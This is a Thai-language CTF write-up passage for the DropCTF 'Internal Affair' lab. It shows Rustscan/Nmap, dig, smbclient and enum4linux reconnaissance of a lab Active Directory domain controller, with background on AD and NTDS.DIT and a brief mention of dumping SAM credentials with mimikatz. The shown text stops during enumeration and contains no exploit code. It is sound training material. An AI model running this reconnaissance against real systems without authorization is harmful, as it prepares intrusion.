5921 words
30 minutes
DropCTF - RED X BLUE PILL CHALLENGES

สวัสดีครับทุกคน สำหรับในบล็อคนี้ผมก็จะมาเขียน Write-up ในอีเว้นของ DropCTF ที่จัดขึ้นสำหรับงาน RED X BLUE PILL 2024 ที่ผ่านมาครับ ซึ่งทาง DropCTF เนี่ยจะแจกรางวัลใหญ่เป็น Flipper Zero สำหรับผู้ที่ Submit Flag ได้ First Blood🩸 ครับ

แต่เอาจริงๆ ผมทำได้เป็นลำดับที่สอง ซึ่งทางทีมงานมี Flipper Zero อยู่อีกเครื่องผมเลยได้มาเช่นกันครับ 😻

IMPORTANT
  • AD = Active Directory
  • DC = Domain Controller
  • AD DS = Active Directory Domain Services
  • AS-REQ = Authentication Service Request
  • AS-REP = Authentication Service Response
  • TGS = Ticket Granting Service
  • TGT = Ticket-Granting-Ticket
  • ST = Service-Ticket
  • NTLM = New Technology LAN Manager

Description #

INTERNAL AFFAIR

หากสามารถ submit flag ได้แล้วสามารถส่ง username ที่ submit ได้คนแรกเข้ามาทางเพจ https://facebook.com/p3rmis ได้เลยครับ

TARGET IP : 10.52.0.203

สำหรับขั้นตอนการทำสอบเจาะระบบเช่นเคยผมจะอ้างอิงจาก Penetration Testing State ครับ

Planning & Reconnaissance #

ขั้นตอนแรกเราจะต้องเชื่อม VPN ของโจทย์ก่อน และเป้าหมายของเราก็คือ

TARGET IP : 10.52.0.203


Scanning #

สำหรับขั้นตอนนี้เราจะกระทำการสแกนหา Port และ Service ของเป้าหมายที่กำลังเปิดให้บริการอยู่ เพื่อที่เราจะได้หาช่องทางที่เราจะสามารถกระทำการ Exploit เข้าไปในระบบได้ครับ

สำหรับผมแล้วเอาจริงๆ ผมจะมีอยู่ 2 เครื่องมือ โดยปกติก็คือ Nmap ส่วนอีกเครื่องมือนึงก็คือ Rustscan ซึ่งจากประสบการณ์ในการเล่น CTF ผมมักจะใช้ Rustscan เพราะว่ามันไวดี แต่ถ้าลองไปศึกษาในเชิงลึกของเครื่องมือ Rustscan ก็ใช้ Nmap Script เช่นเดียวกันนี้แหละครับ แต่บางที่การที่เราส่ง Packets ไปจำนวนมากก็อาจจะทำให้มันพลาดข้อมูลบาง Port ไปเนื่องจากที่เรากระหนำสแกนไปเยอะครับ หรือ ถ้าระบบที่มี IDS/IPS ก็อาจจะเป็นไปได้ที่ระบบตรวจจับนั่น Block Process ที่เรากำลังสแกนนั้นได้ครับ ดังนั้น Nmap ก็คือว่าเป็นเครื่องมือที่ดีสำหรับกรณีที่เราอยากจะได้ข้อมูลที่แม่นยำและครบถ้วนสมบูรณ์นั้นเองครับ เรียกได้ว่า Back to Basic นั่นเองครับ

แต่สำหรับโจทย์ CTF ผมก็จะใช้ Rustscan นี้แหละครับ555 เพราะเราคำนึงถึงแค่ต้องการที่จะ Exploit ระบบเพื่อให้ได้ Flag ไม่สนใจว่าระบบจะถูกกระทบมากน้อยแค่ไหน

Rustscan #

rustscan --ulimit 500000 -a 10.52.0.203 -- -A

Rustscan result#

.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
TCP handshake? More like a friendly high-five!

[~] The config file is expected to be at "/home/kali/.rustscan.toml"
[~] Automatically increasing ulimit value to 500000.
Open 10.52.0.203:53
Open 10.52.0.203:80
Open 10.52.0.203:88
Open 10.52.0.203:135
Open 10.52.0.203:139
Open 10.52.0.203:389
Open 10.52.0.203:445
Open 10.52.0.203:464
Open 10.52.0.203:593
Open 10.52.0.203:5985
Open 10.52.0.203:9389
Open 10.52.0.203:5466
Open 10.52.0.203:47001
Open 10.52.0.203:49664
Open 10.52.0.203:49665
Open 10.52.0.203:49666
Open 10.52.0.203:49668
Open 10.52.0.203:49669
Open 10.52.0.203:49670
Open 10.52.0.203:49671
Open 10.52.0.203:49672
Open 10.52.0.203:49675
Open 10.52.0.203:49692
Open 10.52.0.203:49698
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -A" on ip 10.52.0.203
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-01 12:35 EST
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 12:35
Completed NSE at 12:35, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 12:35
Completed NSE at 12:35, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 12:35
Completed NSE at 12:35, 0.00s elapsed
Initiating Ping Scan at 12:35
Scanning 10.52.0.203 [4 ports]
Completed Ping Scan at 12:35, 0.03s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 12:35
Scanning dropctf.prms (10.52.0.203) [24 ports]
Discovered open port 445/tcp on 10.52.0.203
Discovered open port 135/tcp on 10.52.0.203
Discovered open port 53/tcp on 10.52.0.203
Discovered open port 80/tcp on 10.52.0.203
Discovered open port 139/tcp on 10.52.0.203
Discovered open port 49692/tcp on 10.52.0.203
Discovered open port 49664/tcp on 10.52.0.203
Discovered open port 49668/tcp on 10.52.0.203
Discovered open port 49671/tcp on 10.52.0.203
Discovered open port 389/tcp on 10.52.0.203
Discovered open port 49698/tcp on 10.52.0.203
Discovered open port 49670/tcp on 10.52.0.203
Discovered open port 5466/tcp on 10.52.0.203
Discovered open port 593/tcp on 10.52.0.203
Discovered open port 464/tcp on 10.52.0.203
Discovered open port 49665/tcp on 10.52.0.203
Discovered open port 47001/tcp on 10.52.0.203
Discovered open port 5985/tcp on 10.52.0.203
Discovered open port 88/tcp on 10.52.0.203
Discovered open port 9389/tcp on 10.52.0.203
Discovered open port 49666/tcp on 10.52.0.203
Discovered open port 49675/tcp on 10.52.0.203
Discovered open port 49672/tcp on 10.52.0.203
Discovered open port 49669/tcp on 10.52.0.203
Completed SYN Stealth Scan at 12:35, 0.09s elapsed (24 total ports)
Initiating Service scan at 12:35
Scanning 24 services on dropctf.prms (10.52.0.203)
Service scan Timing: About 58.33% done; ETC: 12:36 (0:00:39 remaining)
Completed Service scan at 12:37, 125.41s elapsed (24 services on 1 host)
Initiating OS detection (try #1) against dropctf.prms (10.52.0.203)
Retrying OS detection (try #2) against dropctf.prms (10.52.0.203)
Initiating Traceroute at 12:37
Completed Traceroute at 12:37, 0.02s elapsed
Initiating Parallel DNS resolution of 2 hosts. at 12:37
Completed Parallel DNS resolution of 2 hosts. at 12:37, 0.01s elapsed
DNS resolution of 2 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 2, DR: 0, SF: 0, TR: 2, CN: 0]
NSE: Script scanning 10.52.0.203.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 12:37
Completed NSE at 12:37, 14.50s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 12:37
Completed NSE at 12:37, 1.10s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 12:37
Completed NSE at 12:37, 0.00s elapsed
Nmap scan report for dropctf.prms (10.52.0.203)
Host is up, received echo-reply ttl 125 (0.011s latency).
Scanned at 2024-12-01 12:35:09 EST for 145s

PORT      STATE SERVICE      REASON          VERSION
53/tcp    open  domain       syn-ack ttl 125 Simple DNS Plus
80/tcp    open  http         syn-ack ttl 125 Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
88/tcp    open  kerberos-sec syn-ack ttl 125 Microsoft Windows Kerberos (server time: 2024-12-02 05:35:09Z)
135/tcp   open  msrpc        syn-ack ttl 125 Microsoft Windows RPC
139/tcp   open  netbios-ssn  syn-ack ttl 125 Microsoft Windows netbios-ssn
389/tcp   open  ldap         syn-ack ttl 125 Microsoft Windows Active Directory LDAP (Domain: dropctf.prms0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds syn-ack ttl 125 Windows Server 2019 Standard 17763 microsoft-ds (workgroup: DROPCTF)
464/tcp   open  kpasswd5?    syn-ack ttl 125
593/tcp   open  ncacn_http   syn-ack ttl 125 Microsoft Windows RPC over HTTP 1.0
5466/tcp  open  unknown      syn-ack ttl 125
| fingerprint-strings: 
|   GenericLines, GetRequest, HTTPOptions, RTSPRequest: 
|     HTTP/1.0 200 HTTP OK
|     Server: Wing FTP Server(UNREGISTERED)
|     Cache-Control: private
|     Content-Type: text/html
|     Content-Length: 338
|     Connection: close
|     <meta http-equiv='Content-Type' content='text/html; charset=utf-8'><script>top.location='admin_login.html';</script>
|_    <noscript><center><H2>The administration interface requires that you have Javascript enabled on your browser. <br>If you're not sure how to do this, <a href='help_javascript.htm'>click here.</a> </H2></center></noscript>
5985/tcp  open  http         syn-ack ttl 125 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf       syn-ack ttl 125 .NET Message Framing
47001/tcp open  http         syn-ack ttl 125 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc        syn-ack ttl 125 Microsoft Windows RPC
49665/tcp open  msrpc        syn-ack ttl 125 Microsoft Windows RPC
49666/tcp open  msrpc        syn-ack ttl 125 Microsoft Windows RPC
49668/tcp open  ncacn_http   syn-ack ttl 125 Microsoft Windows RPC over HTTP 1.0
49669/tcp open  msrpc        syn-ack ttl 125 Microsoft Windows RPC
49670/tcp open  msrpc        syn-ack ttl 125 Microsoft Windows RPC
49671/tcp open  msrpc        syn-ack ttl 125 Microsoft Windows RPC
49672/tcp open  msrpc        syn-ack ttl 125 Microsoft Windows RPC
49675/tcp open  msrpc        syn-ack ttl 125 Microsoft Windows RPC
49692/tcp open  msrpc        syn-ack ttl 125 Microsoft Windows RPC
49698/tcp open  msrpc        syn-ack ttl 125 Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5466-TCP:V=7.94SVN%I=7%D=12/1%Time=674C9E53%P=x86_64-pc-linux-gnu%r
SF:(GenericLines,1EA,"HTTP/1\.0\x20200\x20HTTP\x20OK\r\nServer:\x20Wing\x2
SF:0FTP\x20Server\(UNREGISTERED\)\r\nCache-Control:\x20private\r\nContent-
SF:Type:\x20text/html\r\nContent-Length:\x20338\r\nConnection:\x20close\r\
SF:n\r\n<meta\x20http-equiv='Content-Type'\x20content='text/html;\x20chars
SF:et=utf-8'><script>top\.location='admin_login\.html';</script>\n\n<noscr
SF:ipt><center><H2>The\x20administration\x20interface\x20requires\x20that\
SF:x20you\x20have\x20Javascript\x20enabled\x20on\x20your\x20browser\.\x20<
SF:br>If\x20you're\x20not\x20sure\x20how\x20to\x20do\x20this,\x20<a\x20hre
SF:f='help_javascript\.htm'>click\x20here\.</a>\x20</H2></center></noscrip
SF:t>")%r(GetRequest,1EA,"HTTP/1\.0\x20200\x20HTTP\x20OK\r\nServer:\x20Win
SF:g\x20FTP\x20Server\(UNREGISTERED\)\r\nCache-Control:\x20private\r\nCont
SF:ent-Type:\x20text/html\r\nContent-Length:\x20338\r\nConnection:\x20clos
SF:e\r\n\r\n<meta\x20http-equiv='Content-Type'\x20content='text/html;\x20c
SF:harset=utf-8'><script>top\.location='admin_login\.html';</script>\n\n<n
SF:oscript><center><H2>The\x20administration\x20interface\x20requires\x20t
SF:hat\x20you\x20have\x20Javascript\x20enabled\x20on\x20your\x20browser\.\
SF:x20<br>If\x20you're\x20not\x20sure\x20how\x20to\x20do\x20this,\x20<a\x2
SF:0href='help_javascript\.htm'>click\x20here\.</a>\x20</H2></center></nos
SF:cript>")%r(HTTPOptions,1EA,"HTTP/1\.0\x20200\x20HTTP\x20OK\r\nServer:\x
SF:20Wing\x20FTP\x20Server\(UNREGISTERED\)\r\nCache-Control:\x20private\r\
SF:nContent-Type:\x20text/html\r\nContent-Length:\x20338\r\nConnection:\x2
SF:0close\r\n\r\n<meta\x20http-equiv='Content-Type'\x20content='text/html;
SF:\x20charset=utf-8'><script>top\.location='admin_login\.html';</script>\
SF:n\n<noscript><center><H2>The\x20administration\x20interface\x20requires
SF:\x20that\x20you\x20have\x20Javascript\x20enabled\x20on\x20your\x20brows
SF:er\.\x20<br>If\x20you're\x20not\x20sure\x20how\x20to\x20do\x20this,\x20
SF:<a\x20href='help_javascript\.htm'>click\x20here\.</a>\x20</H2></center>
SF:</noscript>")%r(RTSPRequest,1EA,"HTTP/1\.0\x20200\x20HTTP\x20OK\r\nServ
SF:er:\x20Wing\x20FTP\x20Server\(UNREGISTERED\)\r\nCache-Control:\x20priva
SF:te\r\nContent-Type:\x20text/html\r\nContent-Length:\x20338\r\nConnectio
SF:n:\x20close\r\n\r\n<meta\x20http-equiv='Content-Type'\x20content='text/
SF:html;\x20charset=utf-8'><script>top\.location='admin_login\.html';</scr
SF:ipt>\n\n<noscript><center><H2>The\x20administration\x20interface\x20req
SF:uires\x20that\x20you\x20have\x20Javascript\x20enabled\x20on\x20your\x20
SF:browser\.\x20<br>If\x20you're\x20not\x20sure\x20how\x20to\x20do\x20this
SF:,\x20<a\x20href='help_javascript\.htm'>click\x20here\.</a>\x20</H2></ce
SF:nter></noscript>");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|WAP
Running (JUST GUESSING): Microsoft Windows 2019|2012|2022|10|2016|XP|7 (93%), Asus embedded (87%), Linux 3.X (87%)
OS CPE: cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_10 cpe:/o:microsoft:windows_server_2016 cpe:/h:asus:rt-n56u cpe:/o:linux:linux_kernel:3.4 cpe:/o:linux:linux_kernel:3.16 cpe:/o:microsoft:windows_xp::sp3 cpe:/o:microsoft:windows_7
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Microsoft Windows Server 2019 (93%), Microsoft Windows Server 2012 R2 (89%), Microsoft Windows Server 2022 (89%), Microsoft Windows 10 1909 (89%), Microsoft Windows Server 2016 (88%), Microsoft Windows Server 2012 Data Center (87%), ASUS RT-N56U WAP (Linux 3.4) (87%), Linux 3.16 (87%), Microsoft Windows XP SP3 (85%), Microsoft Windows 7 SP1 or Windows Server 2008 (85%)
No exact OS matches for host (test conditions non-ideal).
TCP/IP fingerprint:
SCAN(V=7.94SVN%E=4%D=12/1%OT=53%CT=%CU=40256%PV=Y%DS=3%DC=T%G=N%TM=674C9EDE%P=x86_64-pc-linux-gnu)
SEQ(SP=102%GCD=1%ISR=10C%TI=I%CI=I%TS=U)
OPS(O1=M506NW8NNS%O2=M506NW8NNS%O3=M506NW8%O4=M506NW8NNS%O5=M506NW8NNS%O6=M506NNS)
WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)
ECN(R=Y%DF=Y%T=80%W=FFFF%O=M506NW8NNS%CC=Y%Q=)
T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=N)
T3(R=N)
T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)
T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)
U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)
IE(R=N)

Network Distance: 3 hops
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| nbstat: NetBIOS name: DC01, NetBIOS user: <unknown>, NetBIOS MAC: 72:c9:4d:be:bf:34 (unknown)
| Names:
|   DC01<20>             Flags: <unique><active>
|   DC01<00>             Flags: <unique><active>
|   DROPCTF<00>          Flags: <group><active>
|   DROPCTF<1c>          Flags: <group><active>
|   DROPCTF<1e>          Flags: <group><active>
|   DROPCTF<1d>          Flags: <unique><active>
|   \x01\x02__MSBROWSE__\x02<01>  Flags: <group><active>
|   DROPCTF<1b>          Flags: <unique><active>
| Statistics:
|   72:c9:4d:be:bf:34:00:00:00:00:00:00:00:00:00:00:00
|   00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
|_  00:00:00:00:00:00:00:00:00:00:00:00:00:00
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 28036/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 33325/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 62498/udp): CLEAN (Timeout)
|   Check 4 (port 58824/udp): CLEAN (Failed to receive data)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: mean: 9h39m53s, deviation: 4h02m28s, median: 11h59m52s
| smb-os-discovery: 
|   OS: Windows Server 2019 Standard 17763 (Windows Server 2019 Standard 6.3)
|   Computer name: DC01
|   NetBIOS computer name: DC01\x00
|   Domain name: dropctf.prms
|   Forest name: dropctf.prms
|   FQDN: DC01.dropctf.prms
|_  System time: 2024-12-02T12:37:13+07:00
| smb2-time: 
|   date: 2024-12-02T05:37:13
|_  start_date: N/A

TRACEROUTE (using port 445/tcp)
HOP RTT      ADDRESS
1   17.91 ms 10.240.0.1
2   17.84 ms 192.168.1.118
3   17.79 ms dropctf.prms (10.52.0.203)

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 12:37
Completed NSE at 12:37, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 12:37
Completed NSE at 12:37, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 12:37
Completed NSE at 12:37, 0.00s elapsed
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrec at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 145.49 seconds
           Raw packets sent: 94 (6.452KB) | Rcvd: 57 (3.540KB)

ซึ่งจากการวิเคราะห์แล้ว Port และ Service ที่กำลังเปิดให้บริการนั่นคือ AD หรือ Active Directory นั่นเอง ซึ่งเครื่องที่เรากำลังสแกนนั่นคือเครื่อง DC หรือเครื่องที่เป็น Domain Controller นั่นเองครับ โดย Port ที่เป็น Key สำคัญนั่นคือ

PORT      STATE SERVICE      REASON          VERSION
53/tcp    open  domain       syn-ack ttl 125 Simple DNS Plus
88/tcp    open  kerberos-sec syn-ack ttl 125 Microsoft Windows Kerberos (server time: 2024-12-02 05:35:09Z)
135/tcp   open  msrpc        syn-ack ttl 125 Microsoft Windows RPC
139/tcp   open  netbios-ssn  syn-ack ttl 125 Microsoft Windows netbios-ssn
389/tcp   open  ldap         syn-ack ttl 125 Microsoft Windows Active Directory LDAP (Domain: dropctf.prms0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds syn-ack ttl 125 Windows Server 2019 Standard 17763 microsoft-ds (workgroup: DROPCTF)

Host script results:

| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported

| smb-os-discovery:
|   OS: Windows Server 2019 Standard 17763 (Windows Server 2019 Standard 6.3)
|   Computer name: DC01
|   NetBIOS computer name: DC01\x00
|   Domain name: dropctf.prms
|   Forest name: dropctf.prms
|   FQDN: DC01.dropctf.prms

ที่นี้เดียวผมจะมาอธิบายในส่วนของการทำงานของ Basic Active Directory ให้เข้าใจแบบคร่าวๆ จะครับ

Basic Active Directory #

alt text

โดยผมขออ้างอิงจาก Note ของพี่ Pichaya Morimoto จากงานอีเว้น HackTheBox Thailand Meetup ในหัวข้อ Windows Domain Offensive Security 101 ครับ

Active Directory (AD) #

alt text

HTB TH - Meetup : Windows Domain Offensive Security 101 by Pichaya Morimoto

โดยแผนภาพจะเป็นการจำลองระบบ Active Directory (AD) ครับ ซึ่งถ้าว่ากันด้วยเรื่องของบริบทของ IT Security ในองค์กรนึง ก็จะต้องทำการดูแลคอมพิวเตอร์หลายๆ เครื่องในองค์กรดังนั้นคงจะเป็นอะไรที่ยุ่งยากถ้าจะต้องเดินเข้าไป Config เครื่องคอมพิวเตอร์ทีละเครื่อง ดังนั้นบริษัท Microsoft จึงมีการพัฒนา Service ที่เรียกว่า Active Directory (AD) ขึ้นมาเพื่อแก้ไขปัญหานี้ เพื่อใช้ในการจัดการโครงสร้างระบบผู้ใช้และความปลอดภัยของ Windows Server นั่นเองครับ

src : Active Directory (AD) คืออะไร ?

Domain Controller (DC) #

จากแผนภาพจะเห็นได้ว่า จะมีเครื่อง Windows Server เป็นศูนย์กลางในการควบคุมการให้บริการ AD โดยเราจะเรียกว่า Domain Controller (DC) ครับ ในส่วนนี้เราจะเรียก Role หรือบทบาทว่า Active Directory Domain Services (AD DS) เปรียบเสมือนผู้ดูแลระบบ หรือ Administrator นั่นแหละครับ ซึ่งก็จะทำให้ผู้ดูแลระบบสามารถกำหนดสิทธิ์การเข้าถึงทรัพยากรได้อย่างแม่นยำครับ และอีกหน้าที่นึงก็คือ เก็บรักษา Active Directory database ครับ โดยในการที่เครื่องอื่นๆ ในระบบ AD ก็จะต้องลงทะเบียนเพื่อเข้าใช้งานทรัพยากรในโดเมนนั้นๆ ได้ครับ

Actice Directory Data Store #

alt text

src : Understanding NTDS.DIT: The Core of Active Directory

ในการจัดเก็บข้อมูลของ AD หรือ Actice Directory Data Store ก็จะมีการเก็บไว้ในไฟล์ที่ชื่อว่า NTDS.DIT ย่อมาจาก New Technology Directory Services Directory Information Tree ซึ่งจะ Dot (.) ด้วยนามสกุลไฟล์ว่า .DIT ย่อมาจาก Directory information tree ซึ่งหมายความว่าไฟล์จะจัดเก็บข้อมูลไดเร็กทอรีเป็นลำดับชั้น

src : DIT - Active Directory Information Tree File

โดยภาพรวมแล้วไฟล์ NTDS.DIT เราอาจจะเรียกได้ว่าเป็น backbone ของ AD เนื่องจากที่เป็นแหล่งเก็บข้อมูลที่สำคัญๆ เช่น พาสเวิร์ดของผู้ใช้งาน กลุ่มผู้ใช้งาน

ตัวอย่างโครงสร้าง DIT #

dc=example, dc=com        (Root Domain)
├── ou=Users              (Organizational Unit)
│   ├── cn=John Doe       (Common Name for a user)
│   └── cn=Jane Smith     (Another user)
└── ou=Groups             (Another Organizational Unit)
    ├── cn=AdminGroup     (Group Name)
    └── cn=StaffGroup     (Another Group)

alt text

ซึ่งในการกระทำของผู้โจมตีระบบก็อาจจะต้องเข้าถึงระบบเครือข่ายที่มีการให้บริการ AD แล้วกระทำการ MitM (Man-in-the-Middle) เพื่อดักข้อมูลในการรับส่งข้อมูลระหว่างเครื่อง DC และ Computer ผู้ใช้งานที่กำลังร้องขอการให้บริการนั่นๆ

HTB TH - Meetup : Windows Domain Offensive Security 101 by Pichaya Morimoto

NOTE

โดยปกติแล้ว เครื่องคอมพิวเตอร์ทั่วไปก็จะเก็บ credential ไว้ในไฟล์ที่ชื่อว่า SAM ในเครื่องครับ ซึ่งถ้าเป็นผู้โจมตีแล้วสามารถเข้าถึงเครื่องผู้ใช้ทั่วไปได้ก็อาจจะใช้เครื่องมือที่เรื่องว่า mimikatz เพื่อใช้ในการดึงข้อมูลจาก SAM ออกมานั่นเอง

Port 53/tcp #

หลังจากสแกน Nmap เรียบร้อยแล้ว ผมจะมาเริ่ม Enumeration Port 53 ก่อนเพื่อที่เราจะได้ เช็คว่า Domain name และ Forest name สามารถ resolve ไปที่ DNS server ได้หรือไม่ครับ ซึ่งรายละเอียดจากข้อมูลของ Rustscan นั่นคือ

|   NetBIOS computer name: DC01\x00
|   Domain name: dropctf.prms
|   Forest name: dropctf.prms

นั่นก็คือ ชื่อ Domain name และ Forest name นั่นเอง

NOTE

Domain Forest คือ โครงสร้างของโดเมน (Domain) ที่เกิดจากการรวมกันของ Domain Tree ตั้งแต่สองโดเมน (Domain) ขึ้นไป

alt text

Domain Forest: 
  ├── Domain Tree 1: company.com  
  │   ├── sales.company.com  
  │   └── hr.company.com  
  └── Domain Tree 2: example.com  
      └── dev.example.com  

Objects:  
  - User: John Doe (Attributes: Username, Password)  
  - Computer: PC-1234 (Attributes: OS, Serial Number)  

Dig #

dig  @10.52.0.203 dropctf.prms

Dig result#

;; communications error to 10.52.0.203#53: timed out

; <<>> DiG 9.20.2-1-Debian <<>> @10.52.0.203 dropctf.prms
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 43411
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;dropctf.prms.                  IN      A

;; Query time: 3748 msec
;; SERVER: 10.52.0.203#53(10.52.0.203) (UDP)
;; WHEN: Sat Nov 30 22:28:07 EST 2024
;; MSG SIZE  rcvd: 41

โอเค resolve ได้ปกติครับ

NOTE

DNS Server จะมีส่วนประกอบที่เรียกว่า Name Resolvers มีหน้าที่หลักในการแปลงชื่อคอมพิวเตอร์ ให้เป็นหมายเลข IP เครื่องลูกข่ายที่ต้องการทราบหมายเลข IP หรือเรียกว่า resolver

src : DNS Server คืออะไร มีความสำคัญอย่างไร

Port 445/tcp #

ต่อมาผมจะเริ่ม Enumeration ข้อมูลที่น่าจะเป็นไปได้ครับ ว่าอาจจะมีอะไร Hint ตาม Share Folder ต่างๆครับ

SMB Client #

smbclient -N -L //10.52.0.203

SMB Client result#


        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share 
        SYSVOL          Disk      Logon server share 
        Welcome         Disk      
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.52.0.203 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

SMB Client - Welcome #

smbclient //10.52.0.203/Welcome

SMB Client - Welcome result#

Password for [WORKGROUP\kali]:
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Mon Nov 18 09:46:26 2024
  ..                                  D        0  Mon Nov 18 09:46:26 2024
  Welcome.txt                         A      201  Thu Nov 28 14:33:26 2024

                15570943 blocks of size 4096. 12249814 blocks available
smb: \> get Welcome.txt
getting file \Welcome.txt of size 201 as Welcome.txt (4.3 KiloBytes/sec) (average 4.3 KiloBytes/sec)
smb: \> exit

Welcome.txt #

❯ cat Welcome.txt
Welcome to the Exclusive DropCTF Lab! 
If you can playing this lab that's mean you might be at 2600 Thailand RED  X BLUE Pill 2024 for sure, Thank you for joing us today!
You Think you can handle it?   

ไม่มีข้อมูลอะไรน่าสนใจ แค่ประโยคคำกล่าวต้อนรับ เฉยๆ ไปกันต่อออ

ต่อมาผมจะใช้เครื่องมือนี้ ในการ Enumeration ข้อมูลของ Service Samba ทีเดียว โดยใช้ User : guest ครับ เนื่องจากเราได้ข้อมูลที่น่าสนใจจาก Rustscan นั่นคือ

| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required

Enum4linux #

enum4linux -u guest -a 10.52.0.203

Enum4linux result#

Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sun Dec  1 01:12:01 2024

 =========================================( Target Information )=========================================

Target ........... 10.52.0.203
RID Range ........ 500-550,1000-1050
Username ......... 'guest'
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 ============================( Enumerating Workgroup/Domain on 10.52.0.203 )============================

                                                                                                                                                                                                                  
[E] Can't find workgroup/domain                                                                                                                                                                                   
                                                                                                                                                                                                                  
                                                                                                                                                                                                                  

 ================================( Nbtstat Information for 10.52.0.203 )================================
                                                                                                                                                                                                                  
Looking up status of 10.52.0.203                                                                                                                                                                                  
No reply from 10.52.0.203

 ====================================( Session Check on 10.52.0.203 )====================================
                                                                                                                                                                                                                  
                                                                                                                                                                                                                  
[+] Server 10.52.0.203 allows sessions using username 'guest', password ''                                                                                                                                        
                                                                                                                                                                                                                  
                                                                                                                                                                                                                  
 =================================( Getting domain SID for 10.52.0.203 )=================================
                                                                                                                                                                                                                  
Domain Name: DROPCTF                                                                                                                                                                                              
Domain Sid: S-1-5-21-275569690-336870657-3440180796

[+] Host is part of a domain (not a workgroup)                                                                                                                                                                    
                                                                                                                                                                                                                  
                                                                                                                                                                                                                  
 ===================================( OS information on 10.52.0.203 )===================================
                                                                                                                                                                                                                  
                                                                                                                                                                                                                  
[E] Can't get OS info with smbclient                                                                                                                                                                              
                                                                                                                                                                                                                  
                                                                                                                                                                                                                  
[+] Got OS info for 10.52.0.203 from srvinfo:                                                                                                                                                                     
        10.52.0.203    Wk Sv PDC Tim NT LMB                                                                                                                                                                       
        platform_id     :       500
        os version      :       10.0
        server type     :       0x84102b


 ========================================( Users on 10.52.0.203 )========================================
                                                                                                                                                                                                                  
                                                                                                                                                                                                                  
[E] Couldn't find users using querydispinfo: NT_STATUS_ACCESS_DENIED                                                                                                                                              
                                                                                                                                                                                                                  
                                                                                                                                                                                                                  

